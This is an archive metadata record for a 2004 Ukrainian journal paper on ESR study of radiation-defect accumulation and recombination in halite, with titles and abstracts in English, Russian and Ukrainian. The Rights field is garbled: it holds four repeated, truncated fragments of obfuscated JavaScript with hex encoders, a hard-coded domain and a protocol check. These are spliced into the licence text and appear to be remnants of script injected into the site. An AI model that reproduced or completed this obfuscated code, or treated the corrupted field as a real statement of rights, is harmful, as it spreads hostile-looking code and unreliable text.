NAU Harvester System
Investigate the dynamics of accumulation and recombination of radiation defects in natural and synthetic halite samples has been investigated by means of electron spin resonance
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
Investigate the dynamics of accumulation and recombination of radiation defects in natural and synthetic halite samples has been investigated by means of electron spin resonance
Исследование динамики накопления и рекомбинации радиационных дефектов в структуре га-лита методом электронного парамагнитного резонанса ДОСЛІДЖЕННЯ ДИНАМІКИ НАКОПИЧЕННЯ І РЕКОМБІНАЦІЇ РАДІАЦІЙНИХ ДЕФЕКТІВ У СТРУКТУРІ ГАЛІТУ МЕТОДОМ ЕЛЕКТРОННОГО ПАРАМАГНІТНОГО РЕЗОНАНСУ |
|
| Creator |
Литовченко, А.С.; Інститут геохімії, мінералогії та рудоутворення НАН України
Полькова, Ю.С.; Інститут новітніх технологій НАУ Сьомка, В.В.; Інститут геохімії, мінералогії та рудоутворення НАН України Кузнєцова, О.Я.; Аерокосмічний інститут НАУ |
|
| Subject |
—
— 549.451.1:539:1.03.06:548.4 — — 549.451.1:539:1.03.06:548.4 — — 549.451.1:539:1.03.06:548.4 |
|
| Description |
The dynamics of accumulation and recombination of radiation defects in natural and synthetic halite samples has been investigated by means of electron spin resonance. The F-centers accumulation essentially depends on their distribution in crystal that caused by its microstructure properties. It was found out that in natural halite γ-irradiation produced the heterogeneous spatial distribution of defects. In places of preferable accumulation of defect the recombination occurs at smaller temperatures in comparison with their uniform arrangement. The realized investigations are important from the view of safe use of salt formations for radioactive waste isolation.
Исследована динамика накопления и рекомбинации радиационных дефектов в образцах природного и синтетического галита методом электронного парамагнитного резонанса. Показана зависимость накопление F-центров от их распределения в кристалле, что обусловлено его микроструктурными особенностями. Установлено, что в природном галите гамма-излучение вызывает неоднородное пространственное размещение дефектов. В местах их скопления рекомбинация происходит при меньших температурах по сравнению с равномерным размещением. Выполненные исследования важны с точки зрения разработки критериев перспек-тивности использования соляных формаций для изоляции радиоактивных отходов. Досліджено динаміку накопичення і рекомбінації радіаційних дефектів у зразках природного і синтетичного галіту методом електронного парамагнітного резонансу. Показано залежність накопичення F-центрів від їхнього розподілу в кристалі, що обумовлено його мікроструктурними особливостями. Виявлено, що в природному галіті гамма-випромінювання призводить до неоднорідного просторового розміщення дефектів. У місцях їх скупчення рекомбінація відбувається при менших температурах порівняно з рівномірним розміщенням. Виконані дослідження важливі з точки зору розробки критеріїв перспективності використання соляних формацій для ізоляції радіоактивних відходів. |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2004-01-01
|
|
| Type |
—
— — — — — |
|
| Format |
application/pdf
|
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/961
10.18372/2306-1472.19.961 |
|
| Source |
Proceedings of the National Aviation University; Том 19, № 1 (2004); 172-175
Вестник Национального авиационного университета; Том 19, № 1 (2004); 172-175 Вісник Національного Авіаційного Університету; Том 19, № 1 (2004); 172-175 |
|
| Language |
uk
|
|
| Coverage |
—
— — — — — — — — |
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
|